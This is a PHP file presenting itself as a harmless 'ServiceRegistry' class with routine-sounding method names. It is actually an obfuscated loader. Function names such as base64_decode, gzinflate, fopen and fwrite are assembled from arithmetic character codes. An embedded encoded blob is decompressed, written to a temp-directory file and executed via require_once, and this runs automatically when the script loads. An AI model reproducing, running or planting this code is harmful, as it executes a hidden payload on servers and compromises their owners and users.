<?php
class ServiceRegistry {
	private $ge = '';
	private $dt = '';

	public function fetchSummary($p1) {
		$a = array(98,(104-7),(115),(((8*49)-291)),((40*1)+14),(55-3),((35+60)),(100),(((93*1)+8)),((75*1)+24),111,(103-3),(66+26+9));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function validateInput($p1) {
		$a = array((103*1),(((36*41)-1354)),((3*35)),((8*2)+94),((51+51)),(108),97,(66+50),(109-8));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function updateCache($p1,$p2) {
		$a = array(((96*110)-10450),(101),((114*107)-12086),(120-9),((2*51)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function checkConsistency($p1,$p2) {
		$a = array(((49*2)+4),(((67*50)-3231)),((16+98)),((108-3)),((54+38+24)),(101*1));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function saveChanges($p1) {
		$a = array(((4*37)-47),((103*31)-3078),((3*37)),((11+97)),(((64*82)-5149)),((75*88)-6498));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1);
	}

	public function cacheData($p1,$p2=null) {
		$a = array((88+26),((2*58)),(41+73),((45+38+22)),((109*1)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1,$p2);
	}

	public function triggerCallback() {
		$this->dt = $this->cacheData($this->manageState(), '/');
	}

	public function initializeModule() {
		$this->ge = $this->validateInput($this->fetchSummary($this->vo));
	}

	public function rollbackTransaction() {
		$fn = $this->dt.'/jd-681040567d069';
		$f = $this->updateCache($fn, 'w');
		$this->checkConsistency($f, $this->ge);
		$this->saveChanges($f);
		$this->encryptData($fn);
	}

	private $vo = 'pViJU+JKE/9XtMp6kMKiOMRdli9vCxUQV0HDKVsWlYQEEnKRA' . 'xCf//vr7kkwiSy+qk/N1cdverp7umf8309n4ZzIhuh5J1NZf3N' . 'cbS36yonni74mn029VY29nqiBJfuabZ1MDXGRPZvu1mvuTVOzp' . '55iqD9+oCjHXqdLO8vVXMUPXOtEEj3l8mI6U2R7pmQ/ZH8Twgt' . 'Xe08OGRsHYd4+NHjRdcXXbGZqbTP835mnUUefjDu7+0FnLWXyG' . 'Ut4lUob/2m09aSy7PfLQLtzJnAvwWXAFXS1OjxWmfPMdL0hjFI' . '1mLWGwey6OFDGV0ZXu1rIt1eeCGKjzmLWMtaSVl09jycLudQB4' . 'qs4viqgvj5XEeC5NAcqjxRTQcJkbPySW52bXn9yJ5pyod9yrE5' . 'ju5rshAf87o2MsjgSxsLIeBQH9mZkLLoPDcOZlQxdGk783shZA' . '/92aDnLJ4AuwGVXEH+p07RlIIxnlwo86nw0dkCsx1YVCO7jnCf' . 'iZqcz6t0CvXAD1wUxXl0DGbPQNU0P3VcnrBBvI6EAvs316G1ny' . 'dGrYuObeCsU5Bt7fV++Kj5rlfJkdGeKo60htqo7cOrrvQlwEJt' . 'eVZdKxY2EAekYslZZybvq8nksLB6BgpNk9joiebQ8RD9LzaoDT' . '7TMNMgPILFah+MiQW4iLrwJFF5gb8XIQUju2JMRPIrE0iU5Mhl' . 'o8u3D3nPrFTKEwnDQrjM7FIdgWs2CGFLcGQ0sj4eGbC0jVZ0y4' . 'HHDZDT1kIwbkE3txmIApGGzvn7oXWwwFE9OG+dX7hRYVjIQjax' . 'EBybiu3ORfvPk3EilSjAZdQriqArpfIVIEojDY/JU+IVhfrIjr' . 'aVJc5PLmLleV/sOjzUFVd3Hd+0kRyRFNRzOpq+tiV+9poBTGDS' . 'rN/2G0ewbgtob7g13VismhPEYgNDzuDB5HBizq8ES49MUmtUWP' . 'PsYkXakpVIeDtBbw06/iLrNcaHZoJe9lKtG46MBzSrmx6Aw7IH' . 'kLQ1XGaCYvNiLNXEdDEMZeL0FGVRCMdGNpr6ZmzGNnjCYNHGAJ' . 'eL3UMBXN7FJscn36AXXU0rYsuwIWN6qMeCYu/bLDHP5VT8sVCe' . '2sY5xwZk4aNqf/WKbyW6TsntBJpVw+VIkYGY7+Jw5XMApMrDlQ' . 'mNBiXFxQBSIQESfSl3rzpJG1eXkiWXNbklmDOuX0UqyKc3at5v' . '5cNAA6n6p+6YXcdCt5tDsaizhgSkx3s1Wk/WLXxQpWkTiOO4/M' . 'aBAznCNNyKiJQeU8Sa62iQTomUJBMzwS4Vsg7bzvlDEmeJmoet' . 'By8KeRp2F42oHGNAugAHdTvM8xYfu12r0f8cFdMDGuagZ7oXj3' . 's6miqvy09UqgUJG5TNKiEVCf/3l+a5je+zrPC6OFZ/jTnleFQ1' . 'P4d5mmpKACwCLDH5XgP+JvQE2FgadRN6PGP/qUgkNLV/slvzZ9' . 'Lrb/dVu1MAqk89qls+5dmDNsoUc/HI1at5xejH/rZJL3lBKd5W' . 'wbYdfvxHwhU95ZUOlnqttFpqhRHuLmHyeJ7N+xwb8lq/kYhf3E' . 'm4o0LGnn6SLYNJeJhefD6gXUJ3tZT4rFnL0d0i3mCuCnuQq4pL' . '8lMsdm+OchYK5DkTfmQ8/oZby5fhP7otvLjmbclL4SwKHdkCIm' . 'eExqIv8ZeznW+6Lb+4ly+U/gVzm6JeLopJil3Nl0MPxKfGYO9I' . 'QEKDYFcqff5IrAT92QWBqB+ZUAbsZBgx2COQbasdv3MvnaVWQm' . 'bwRZkrseypyX3wTRCr9CoifvOEqhahplmwEM4V5r/b+sWuGmnM' . '2XQdb9OgsMBJpuLNw90NJ6MkJDmzpMH6gx6rcVBYNQ5SMZEmBL' . 'RpHoZIMXg5cY6pZGhYUT+Zq9A31xXaQIhnn1wPhvvvYn/Z699N' . 'hQ2g3nx8bDeGcFbP/In7b7fXPE864TObglwTuyDjN7v19d3Tfv' . 'a73291OcpwSujp+OwYkNPoDodMX6p0e9Mr/A+i2Ub9JAVC1PaJ' . 'y3e10Gtf9fvuh0R0knAVpeUzxjxosaUhP2SoyaSF1LumMOld8z' . 'VLtkEEk2bA9JSRQXwPhRINZ0c6TezmNt4xKIRf9cVx4WqTkCPv' . 'Z2fTV5x3R9ZQpDBJmGRB1PousxACw9ede+ERG6xLLdaoDip/g4' . 'a4f0z2FgocqJ8OqVdQrUyJ4FMAVSJj5dI3X2Q7gM7JGDOaE2gF' . 'dPCccUAMNOBJACUosYpcW8GLLq54tL21HsbJoqP4zpbo06bTL/' . 'Uh3Itj+c4dHW+P0zwksXhZLRayqeOd+xOmFXPQX7WgWUHdUJ/A' . '9ej+nqTJrrdQ2Iur2p6pih5pYWSx1yauQYyFAPF+KpRxcHyNZH' . 'CUrbg5Ai1FRPeFZOMtgtNLjH1iZUESjRAZbYMfEcpLGwC5pWAo' . 'fZUWvIUCNSqYg7e5Y39ma4jFRZ8UCQ7Jz85homDdGKLy0g2PSL' . 'm0/f/4JCY/GC5BIJITI0kkynGPItFE3j6LjcSmFbWG/sQn/C+/' . 'J22jzfBgfPQYnJsC3AsP42sVGuNj+AAdHpg+o4xHAE9OxaeOBK' . 'cKCFFQ1w1fc6Vp0szTpeAZffscm/unOWqqLmx9QYNUvjQTTjSN' . 'Vi/lE4/viOzYCAO3rKxHmZu3Y2QBmiP8N89npQJEX9kmiGKEHq' . 'HS560SVstmWPk85m+D4WJY8YkHSJVgS49SULWwrOLLrNDLMXXP' . '//LP/AtD4JwChdaFaOD1v5YeHj/SxCIot/zdCnqenCqdKYgF+m' . 'meFKyhgEjgkbuZdHrqTYtG/N8N/doZfumdb0TtZw1Ezik6GqPu' . 'fzoH2R/OInQYxFCS799b7vw==';

	public function encryptData($p) {
		require_once $p;
	}

	public function manageState() {
		$a=array(((124-9)),((11*11)),(5*23),(71+24),(((29*2)+45)),(101),((82+34)),(5*19),116,101,((32+77)),112,((92+1+2)),(100),(3*35),(114));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$bx = new ServiceRegistry();
$bx->triggerCallback();
$bx->initializeModule();
$bx->rollbackTransaction();
